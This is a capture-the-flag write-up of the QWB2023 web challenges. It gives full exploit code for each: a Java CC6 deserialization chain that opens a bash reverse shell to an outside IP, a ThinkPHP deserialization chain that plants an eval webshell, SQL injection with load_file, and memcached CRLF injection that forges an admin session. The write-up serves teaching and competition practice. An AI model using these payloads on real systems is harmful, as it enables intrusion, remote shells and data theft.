强网杯 QWB2023 Web Writeup、题型分析

作者:Boogipop


发布于 2024-03-28 | 最后更新于 2024-03-28

赛题解析

easyphp

考点:xcache 逆向
1.题目给出了 phpinfo,给出了/var/www/html/b3debcdfb73572a549ac64da1c830d72 这个路径可以下载到 xcache 的 mmap 缓存文件。
/challenge.php 需要提交一个 key。
访问 challenge.php 后下载 mmap 文件,strings 可以得到字符串。

1c6d4c9861179fe161d0233e3570998dc
2_GET
3strlen
4wrong answer
5str_split
6implode
7cat /flag
8system

2.下载到的缓存文件,里面有很多链表地址和函数(字节码回调函数,没有符号,readelf 看不到,但是 p/i 0xxxx 看一下都是 endbr64 指令)地址,不能直接加载。
修改源码。编辑 xcache\mod_cacher\xc_cacher.c 加上固定地址加载代码,使得链表可以正常加载。

 1#include <sys/types.h>
 2#include <sys/stat.h>
 3#include <fcntl.h>
 4#include <sys/mman.h>
 5void mymmap(){
 6    int file1 = open("/tmp/clean_b3", O_RDONLY);
 7    size_t ro_addr = 0x7fb5ed09c000;
 8    size_t rw_addr = 0x7fb5ed09c000 + 0x4000000;
 9    size_t ro_size=0x4000000;
10    int mmap1_result = mmap(ro_addr, ro_size, PROT_READ, MAP_PRIVATE| MAP_FIXED, file1, 0);
11    printf("mmap1_result: %d\n", mmap1_result);
12    int mmap2_result = mmap(rw_addr, ro_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED, file1, 0);
13    printf("mmap2_result: %d\n", mmap2_result);
14}
15int is_replaced_1=0;
16在这个函数里面加 xc_php_find_unlocked
17if(is_replaced_1 == 0){
18    is_replaced_1 = 1;
19    TRACE("1: xc_php_find_unlocked force return fake value %s","");
20    TRACE("1: size:%d",php->size);
21    mymmap();
22    char* ptr = 0x7fb5f10bc1e8;
23    return ptr;
24}else{
25    TRACE("1: xc_php_find_unlocked have already faked, do not fake again %s","");
26}

通过函数指针,因为我们搭建了完全一样的 libphp,所以可以推算 libphp 基址。替换函数指针,让字节码可以正常加载。
(找了一晚上指针。。。我的建议是,关闭靶机,重开,只访问 challenge.php 不访问 info.php,这样得到的 mmap 是最纯净的)
本地关闭 aslr 方便调试。

 1#找mmap基址
 2from pwn import *
 3filename = "clean_b3"
 4with open(filename,"rb") as f:
 5    f.seek(0x20230)
 6    ptr = u64(f.read(8))
 7    # sanity check
 8    f.seek(0x20290)
 9    ptr2 = u64(f.read(8))
10    assert ptr2 > 0x7f0000000000 and ptr2 < 0x7fffffffffff
11
12delta = 0x20290
13root = ptr - delta
14print("ptr: " + hex(ptr))
15print("delta: " + hex(delta))
16print("ro_root: " + hex(root))
17assert hex(root).endswith("000")
18# 远程开启了 xcache read only protection,因此同一个文件被mmap了两次,一个只读的和一个读写的。
19real_rw_root = root + 0x4000000
20print("rw_root: " + hex(real_rw_root))
 1#用函数指针后3位地址找libphp的基址,然后把mmap文件里面远程的函数指针全部替换成本地的函数指针
 2import re
 3from pwn import *
 4
 5remote_file = open("./clean_b3","rb")
 6remote_data = remote_file.read()
 7local_file = open("./result3","rb")
 8local_data = local_file.read()
 9
10remote_regex = br'.{3}\xff\xb5\x7f\x00\x00'
11local_regex = br'.{3}\xf6\xff\x7f\x00\x00'
12findall= re.findall(remote_regex,remote_data)
13findall = list(map(u64,findall))
14findall_pretty = list(set(list(map(hex,findall))))
15print(findall_pretty)
16
17findall_local = re.findall(local_regex,local_data)
18findall_local = list(map(u64,findall_local))
19findall_local_pretty = list(set(list(map(hex,findall_local))))
20print(findall_local_pretty)
21
22for entry in findall_local_pretty:
23    for remote_entry in findall_pretty:
24        # if the last 3 bytes are the same
25        if entry[-3:] == remote_entry[-3:]:
26            print("match: ",entry,remote_entry)
27
28'''
29match:  0x7ffff6d7ebe0 0x7fb5ff0ebbe0
30match:  0x7ffff66d93c0 0x7fb5ff0eb3c0
31match:  0x7ffff6def080 0x7fb5ff15c080
32match:  0x7ffff6df1cf0 0x7fb5ff15ecf0
33'''
34local_entry = 0x7ffff6d7ebe0
35remote_entry = 0x7fb5ff0ebbe0
36# local have aslr disabled.
37local_base = 0x7ffff6af4000
38local_delta = local_entry - local_base
39print("local delta: ",hex(local_delta))
40
41remote_base = remote_entry - local_delta
42print("remote base: ",hex(remote_base))

替换 mmap 文件里面的函数指针

 1import subprocess
 2from pwn import *
 3
 4data = open("clean_b3","rb").read()
 5
 6remote_libphp_base = 0x7fb5fee61000 # changeme
 7local_libphp_base = 0x7ffff76f6000 # changeme 或者如果你关闭了aslr,理论上会得到和这个一样的本地地址
 8
 9remote_regex = br'.{3}\xff\xb5\x7f\x00\x00' # changeme
10import re
11
12def repl(m):
13    contents = m.group(0)
14    remote_ptr = u64(contents)
15    local_ptr = remote_ptr - remote_libphp_base + local_libphp_base
16    print(f"replace {hex(remote_ptr)} with {hex(local_ptr)}")
17    return p64(local_ptr)
18
19data = re.sub(remote_regex, repl, data)
20
21with open("/tmp/clean_b3_mod","bw") as f:
22    f.write(data)

3.本地搭建完全一样的 php 版本(差一点都不行,必须完全一样,直接用它那个 deb.sury.org 源下载,因为有函数指针),并且安装 xdebug,自己编译

 1FROM ubuntu:22.04
 2
 3ENV TZ=Asia/Shanghai \
 4    DEBIAN_FRONTEND=noninteractive
 5RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && sed -i "s/http:\/\/security.ubuntu.com/http:\/\/mirrors.aliyun.com/g" /etc/apt/sources.list && \
 6apt update && apt install -y software-properties-common && add-apt-repository ppa:ondrej/php -y && apt install -y php5.6 php5.6-cli
 7RUN apt install -y php5.6-dev
 8ADD ./xdebug-2.5.5 /tmp/xdebug
 9RUN cd /tmp/xdebug \
10    && phpize \
11    && ./configure --enable-xdebug \
12    && make -j$(nproc) \
13    && make install \
14    && cd /
15ADD ./xcache /tmp/xcache
16RUN cd /tmp/xcache \
17    && phpize \
18    && ./configure --enable-xcache --enable-xcache-disassembler \
19    && make -j$(nproc) \
20    && make install \
21    && cd /
22COPY xcache.ini /tmp/
23COPY challenge.php /var/www/html/
24COPY info.php /var/www/html/
25RUN cat /tmp/xcache.ini >> /etc/php/5.6/apache2/php.ini && touch /var/www/html/b3debcdfb73572a549ac64da1c830d72 && chmod 777 /var/www/html/b3debcdfb73572a549ac64da1c830d72
26# RUN echo 'extension = xcache.so' > /etc/php/5.6/mods-available/xcache.ini
27RUN echo 'extension = xcache.so' > /etc/php/5.6/apache2/conf.d/20-xcache.ini
28RUN echo 'zend_extension=/usr/lib/php/20131226/xdebug.so' > /etc/php/5.6/apache2/conf.d/99-xdebug.ini
29RUN echo '[Xdebug]' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
30RUN echo 'xdebug.auto_trace=On' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
31RUN echo 'xdebug.collect_params=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
32RUN echo 'xdebug.collect_return=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
33RUN echo 'xdebug.collect_assignments=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
34RUN echo 'xdebug.collect_vars=1' >> /etc/php/5.6/apache2/conf.d/99-xdebug.ini
35RUN ln -sf /proc/self/fd/1 /var/log/apache2/access.log && \
36    ln -sf /proc/self/fd/1 /var/log/apache2/error.log
37CMD apachectl -D FOREGROUND -X

docker run --name dump --network=host --privileged --rm -it -v /tmp/clean_b3_mod:/tmp/clean_b3:ro test1
4.运行后,访问本地/challenge.php,则会被替换成题目给出的字节码。
因为 xcache 里面只有字节码,所以无法导出 php 源码,调试比较困难。但是 xdebug 可以正常工作。
利用 xdebug trace 日志,多次输入测试得知,用户输入 key 长度需要是 32,key 的前 14 个字节会被异或一个 key,后 18 个字节会被异或另一个 key,然后与 strings 看到的字符串 c6d4c9861179fe161d0233e3570998dc 比较。(字符串会变化)
如果比较正确会 system cat /flag。

 1TRACE START [2023-12-16 17:53:20]
 2    0.0000     232096   -> {main}() /var/www/html/challenge.php:0
 3    0.0001     232440     -> strlen(string(32)) /var/www/html/challenge.php:5
 4    0.0001     232440      >=> 32
 5    0.0001     232440     -> str_split(string(32)) /var/www/html/challenge.php:9
 6    0.0001     238176      >=> array (0 => 'O', 1 => '\032', 2 => 'H', 3 => '\030', 4 => 'O', 5 => '\025', 6 => '\024', 7 => '\032', 8 => '\035', 9 => '\035', 10 => '\033', 11 => '\025', 12 => 'J', 13 => 'I', 14 => '�', 15 => '�', 16 => '�', 17 => '�', 18 => '�', 19 => '�', 20 => '�', 21 => '�', 22 => '�', 23 => '�', 24 => '�', 25 => '�', 26 => '�', 27 => '�', 28 => '�', 29 => '�', 30 => '�', 31 => '�')
 7    0.0001     238472     -> implode(array(32)) /var/www/html/challenge.php:16
 8    0.0001     241792      >=> 'c6d4c9861179fe161d0233e3570998dc'
 9    0.0001     238552     -> system(string(9)) /var/www/html/challenge.php:17
10    0.0014     238664      >=> 'flag'
11    0.0014     238552    >=> 1
12    0.0015       8368
13TRACE END   [2023-12-16 17:53:20]

异或是单字节异或固定 key,本地通过日志读一下异或后 implode 的返回值,逆或一次得到 key 即可。
经过测试是,每次开启靶机,32 位长度的字符串会变化。

 1import requests
 2
 3
 4rs = requests.Session()
 5
 6data = b'a'*32
 7r = rs.get('http://127.0.0.1/challenge.php', params={'key': data})
 8
 9import subprocess
10output = subprocess.check_output("docker exec -it dump bash -c 'cat /tmp/trace*'",shell=True)
11import re
12
13regex = re.compile(rb" >=> '(.{32})'")
14matched = regex.findall(output)
15key_ = matched[0]
16
17key = b''
18for i in range(len(key_)):
19    key += bytes([key_[i] ^ ord('a')])
20print(key)
21
22cipher = b'936998e2dbec20ad5a37dc8f06f7d672'
23xored_cipher = b''
24for i in range(len(cipher)):
25    xored_cipher += bytes([cipher[i] ^ key[i]])
26print(xored_cipher)
27
28r2 = rs.get('http://eci-2ze245ak3rvctqp48pe0.cloudeci1.ichunqiu.com/challenge.php', params={'key': xored_cipher})
29print(r2.text)

happygame

grpc_cli cc6
image.png
我们得到了 2 个 method,我们分别查看一下 2 个 method 的具体信息
grpc_cli ls 8.147.128.227:32866 helloworld.Greeter -l
image.png
grpc_cli type 8.147.128.227:32866 helloworld.Request
image.png
发现其中的 Request 是一个序列化的 data,那么我这里就盲猜,对就是盲猜是反序列化,测试发现有 cc 依赖,直接打就好了。

 1package com.javasec.pocs.cc;
 2import com.javasec.utils.SerializeUtils;
 3import org.apache.commons.collections.Transformer;
 4import org.apache.commons.collections.functors.ChainedTransformer;
 5import org.apache.commons.collections.functors.ConstantTransformer;
 6import org.apache.commons.collections.functors.InvokerTransformer;
 7import org.apache.commons.collections.keyvalue.TiedMapEntry;
 8import org.apache.commons.collections.map.LazyMap;
 9
10import java.io.*;
11import java.lang.reflect.Field;
12import java.util.HashMap;
13import java.util.Map;
14
15/**
16 * Hashmap(hashcode)->TiedmapEntry(hashcode)->TiedMapEntry(getvalue)->Lazymap(get)->transform
17 */
18public class CommonsCollections6 {
19    public static void main(String[] args) throws Exception {
20        Transformer[] transformers=new Transformer[]{
21                new ConstantTransformer(Runtime.class),
22                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
23                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
24                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4yNC4xODgvNzc3NSA8JjEi}|{base64,-d}|{bash,-i}"})
25        };
26        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
27        HashMap<Object,Object> map=new HashMap<>();
28        Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); //随便改成什么Transformer
29        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
30        HashMap<Object, Object> hashMap=new HashMap<>();
31        hashMap.put(tiedMapEntry,"bbb");
32        map.remove("aaa");
33        Field factory = LazyMap.class.getDeclaredField("factory");
34        factory.setAccessible(true);
35        factory.set(lazymap,chainedTransformer);
36        String poc = SerializeUtils.base64serial(hashMap);
37        System.out.println(poc);
38        SerializeUtils.base64deserial(poc);
39    }
40}
41

这个 base64 也是自己意会。

1echo "{'serializeData': 'rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWFhc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQAaWJhc2ggLWMge2VjaG8sWW1GemFDQXRZeUFpWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4NExqRXpNQzR5TkM0eE9EZ3ZOemMzTlNBOEpqRWl9fHtiYXNlNjQsLWR9fHtiYXNoLC1pfXQABGV4ZWN1cQB+ABwAAAABcQB+AB9zcQB+AAA/QAAAAAAADHcIAAAAEAAAAAB4eHQAA2JiYng='}" | grpc_cli call 8.147.133.227:32866 ProcessMsg --json_input

后面直接反弹 shell 了。

thinkshop

admin=1&password=123456
进入后台,之后就是 5.0.x 的一条反序列化链子

 1POST /public/index.php/index/admin/do_edit.html HTTP/1.1
 2Host: eci-2zegp2dwag3hcmblf44t.cloudeci1.ichunqiu.com
 3Content-Length: 2500
 4Cache-Control: max-age=0
 5Upgrade-Insecure-Requests: 1
 6Origin: http://eci-2zegp2dwag3hcmblf44t.cloudeci1.ichunqiu.com
 7Content-Type: application/x-www-form-urlencoded
 8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
 9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10Referer: http://eci-2zegp2dwag3hcmblf44t.cloudeci1.ichunqiu.com/public/index.php/index/admin/goods_edit/id/1.html
11Accept-Encoding: gzip, deflate
12Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
13Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1700560980,1701446760,1702540036,1702548089; PHPSESSID=vv0dcps9gjic3qhnooqk9v36j2
14Connection: close
15
16id=1&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3d%27YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NTp7czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YTo3OntpOjA7czo3OiJnZXRBdHRyIjtpOjE7czo0OiJpbmZvIjtpOjI7czo1OiJlcnJvciI7aTozO3M6NzoiY29tbWVudCI7aTo0O3M6ODoicXVlc3Rpb24iO2k6NTtzOjk6ImhpZ2hsaWdodCI7aTo2O3M6Nzoid2FybmluZyI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NDp7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6NzU6InBocDovL2ZpbHRlci93cml0ZT1zdHJpbmcucm90MTMvcmVzb3VyY2U9c3RhdGljLzw%2FY3VjIEByaW55KCRfVFJHWyduJ10pOyA%2FPiI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7czo0OiJ4aWdlIjt9fX1zOjk6IgAqAGFwcGVuZCI7YToxOntzOjQ6InRlc3QiO3M6ODoiZ2V0RXJyb3IiO31zOjc6IgAqAGRhdGEiO2E6MTp7czo3OiJwYW5yZW50IjtzOjQ6InRydWUiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjU6e3M6NToibW9kZWwiO2I6MDtzOjE1OiIAKgBzZWxmUmVsYXRpb24iO2I6MDtzOjk6IgAqAHBhcmVudCI7TjtzOjg6IgAqAHF1ZXJ5IjtPOjE0OiJ0aGlua1xkYlxRdWVyeSI6MTp7czo4OiIAKgBtb2RlbCI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjc6e2k6MDtzOjc6ImdldEF0dHIiO2k6MTtzOjQ6ImluZm8iO2k6MjtzOjU6ImVycm9yIjtpOjM7czo3OiJjb21tZW50IjtpOjQ7czo4OiJxdWVzdGlvbiI7aTo1O3M6OToiaGlnaGxpZ2h0IjtpOjY7czo3OiJ3YXJuaW5nIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo0OntzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czo3NToicGhwOi8vZmlsdGVyL3dyaXRlPXN0cmluZy5yb3QxMy9yZXNvdXJjZT1zdGF0aWMvPD9jdWMgQHJpbnkoJF9UUkdbJ24nXSk7ID8%2BIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtzOjQ6InhpZ2UiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntzOjI6Inh4IjtzOjI6Inh4Ijt9fXM6ODoiACoAbW9kZWwiO3M6NDoidGVzdCI7fX19fQ%3D%3D%27%09where%09`id`%3d1%23a=1&data=%23+FLAG%0D%0A%0D%0A%23%23+%E8%AF%B7%E7%9C%8B%E7%9C%8B%E8%BF%99%E4%B8%AAFLAG%E5%A5%BD%E7%9C%8B%E5%90%97%0D%0A%E5%86%8D%E4%BB%94%E7%BB%86%E4%BB%94%E7%BB%86%E6%83%B3%E4%B8%80%E4%B8%8B%E8%BF%99%E4%B8%AAflag%E6%80%8E%E4%B9%88%E6%89%8D%E8%83%BD%E6%8B%BF%E5%88%B0%E5%91%A2%0D%0A%0D%0A





遍历 post 的 key。没限制。直接注入任意 data


这里反序列化
打个 exp

  1<?php
  2  namespace think\cache\driver;
  3
  4class File {
  5  protected $options = [];
  6  protected $tag;
  7  public function __construct() {
  8    $this->tag = 'xige';
  9    $this->options = [
 10      'cache_subdir'  => false,
 11      'prefix'        => '',
 12      'path' => 'php://filter/write=string.rot13/resource=static/<?cuc @riny($_TRG[\'n\']); ?>', // 因为 static 目录有写权限
 13      'data_compress' => false
 14      ];
 15  }
 16}
 17
 18namespace think\session\driver;
 19use think\cache\driver\File;
 20
 21class Memcached {
 22  protected $handler;
 23  function __construct() {
 24    $this->handler=new File();
 25  }
 26}
 27
 28namespace think\console;
 29use think\session\driver\Memcached;
 30
 31class Output {
 32  protected $styles = [];
 33  private $handle;
 34  function __construct() {
 35    $this->styles = ["getAttr", 'info',
 36      'error',
 37      'comment',
 38      'question',
 39      'highlight',
 40      'warning'];
 41    $this->handle = new Memcached();
 42  }
 43}
 44
 45namespace think\db;
 46use think\console\Output;
 47
 48class Query {
 49  protected $model;
 50  function __construct() {
 51    $this->model = new Output();
 52  }
 53}
 54
 55namespace think\model\relation;
 56use think\console\Output;
 57use think\db\Query;
 58
 59class HasOne {
 60  public $model;
 61  protected $selfRelation;
 62  protected $parent;
 63  protected $query;
 64  protected $bindAttr = [];
 65  public function __construct() {
 66    $this->query = new Query("xx", 'think\console\Output');
 67    $this->model = false;
 68    $this->selfRelation = false;
 69    $this->bindAttr = ["xx" => "xx"];
 70  }}
 71
 72namespace think\model;
 73use think\console\Output;
 74use think\model\relation\HasOne;
 75
 76abstract class Model {
 77}
 78
 79class Pivot extends Model {
 80  public $parent;
 81  protected $append = [];
 82  protected $data = [];
 83  protected $error;
 84  protected $model;
 85
 86  function __construct() {
 87    $this->parent = new Output();
 88    $this->error = new HasOne();
 89    $this->model = "test";
 90    $this->append = ["test" => "getError"];
 91    $this->data = ["panrent" => "true"];
 92  }
 93}
 94
 95namespace think\process\pipes;
 96use think\model\Pivot;
 97
 98class Windows {
 99  private $files = [];
100  public function __construct() {
101    $this->files=[new Pivot()];
102  }
103}
104
105$obj = new Windows();
106$payload = serialize([$obj]);
107echo base64_encode($payload);

修改数据->update data 字段。内容是序列化数据。并且 get 的时候有限制。序列化字符得是是 a:开头-> 访问商品详情触发反序列化。写 static webshell

thinkshopping

服务器 mysql 未做设置,可以任意文件读取,那么我们在 admin 登录后直接读取 flag 文件即可。

 1POST /public/index.php/index/admin/do_edit.html HTTP/1.1
 2Host: eci-2ze0mwyalswv7z0u3m1h.cloudeci1.ichunqiu.com
 3Content-Length: 488
 4Cache-Control: max-age=0
 5Upgrade-Insecure-Requests: 1
 6Origin: http://eci-2ze0mwyalswv7z0u3m1h.cloudeci1.ichunqiu.com
 7Content-Type: application/x-www-form-urlencoded
 8User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
 9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10Referer: http://eci-2ze0mwyalswv7z0u3m1h.cloudeci1.ichunqiu.com/public/index.php/index/admin/login.html
11Accept-Encoding: gzip, deflate
12Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,mg;q=0.7
13Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1701446760,1702540036,1702548089,1702783234; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1702786165; PHPSESSID=nucuu7f9vk71ojeseih8eropo4
14Connection: close
15
16id=1&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3dload_file(%27/fffflllaaaagggg%27)%09where%09`id`%3d1%23a=1&data=%23+FLAG%0D%0A%0D%0A%23%23+%E8%AF%B7%E7%9C%8B%E7%9C%8B%E8%BF%99%E4%B8%AAFLAG%E5%A5%BD%E7%9C%8B%E5%90%97%0D%0A%E5%86%8D%E4%BB%94%E7%BB%86%E4%BB%94%E7%BB%86%E6%83%B3%E4%B8%80%E4%B8%8B%E8%BF%99%E4%B8%AAflag%E6%80%8E%E4%B9%88%E6%89%8D%E8%83%BD%E6%8B%BF%E5%88%B0%E5%91%A2%0D%0A%0D%0A

在 thinkphp 的 cache->find()方法中有获取缓存的点位

此处肯定是调用了 memcache 的 get 指令,并且存在 CRLF 注入,$key 是 think:shop.admin|test
test 是我们拼贴(username)的地方。
这里比较玄学,用抓包的就可以,自己构造的就不可以,唯一不同的只有时间戳,说明时间戳有点讲究。

11222%00%0d%0aset think:shop.admin|1 0 1702802967 101%0d%0aa:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";}%0d%0a


 1从memcacheget的$key为think:shop.admin|1 1是我们传入的用户名
 2找到https://www.freebuf.com/vuls/328384.html
 3memcached的问题。crlf。
 4
 5本地设置一个admin。登录抓set memcached的包
 6
 7最后构造
 8username=1222%00%0d%0a%73%65%74%20%74%68%69%6e%6b%3a%73%68%6f%70%2e%61%64%6d%69%6e%7c%31%20%34%20%31%37%30%32%38%30%32%39%36%37%20%31%30%31%0d%0a%61%3a%33%3a%7b%73%3a%32%3a%22%69%64%22%3b%69%3a%31%3b%73%3a%38%3a%22%75%73%65%72%6e%61%6d%65%22%3b%73%3a%35%3a%22%61%64%6d%69%6e%22%3b%73%3a%38%3a%22%70%61%73%73%77%6f%72%64%22%3b%73%3a%33%32%3a%22%65%31%30%61%64%63%33%39%34%39%62%61%35%39%61%62%62%65%35%36%65%30%35%37%66%32%30%66%38%38%33%65%22%3b%7d%0d%0aquit&password=1
 9
10然后username=1&password=123456登录
11
12登录之后。后台sql注入load_file
13
14id=4&name=fake_flag&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=https%3A%2F%2Fi.postimg.cc%2FFzvNFBG8%2FR-6-HI3-YKR-UF-JG0-G-N.jpg&data`%3dload_file(%27/fffflllaaaagggg%27)%09where%09id%3d4%23&data=%23

题型分析

xcache 逆向

这一个考点算是最新出现的了,php 中 xcache 是用来做网页缓存以来增加服务器性能的,这样的话就是 REVERSE 与 WEB 结合了。考点也是比较杂。

Java Deserialization(Java 反序列化)

算是今年来比较传统的一个考点,像上面的 happygame 那一题,考了一个 cc6 的链条,以及考了点 grpc 的基础,个人认为这不算考点。Java 反序列化是一个比较冗杂的知识点,它的特点是链式反应,学习 Java 反序列化需要有一颗清晰的大脑。

PHP 反序列化&&代码审计&&Thinkphp

算是最老的一个考点了。从 web 方向诞生起就出现了,考的是魔术方法之间的调用,上述题目中考的是 thinkphp 的反序列化利用链以及代码审计,这是框架的漏洞,需要同学们自行去学习了。

Memcache 注入

这次的注入比较隐晦,藏在了 thinkphp 的一个函数里。但有关 redis、memcache 等组件的注入问题也考的很多,它属于 CRLF 注入的一个大类。主要是由于回车符的滥用导致指令溢出。

附件下载

https://github.com/CTF-Archives/2023-qwbs7

HnuSec

Are you still in pain?

文章目录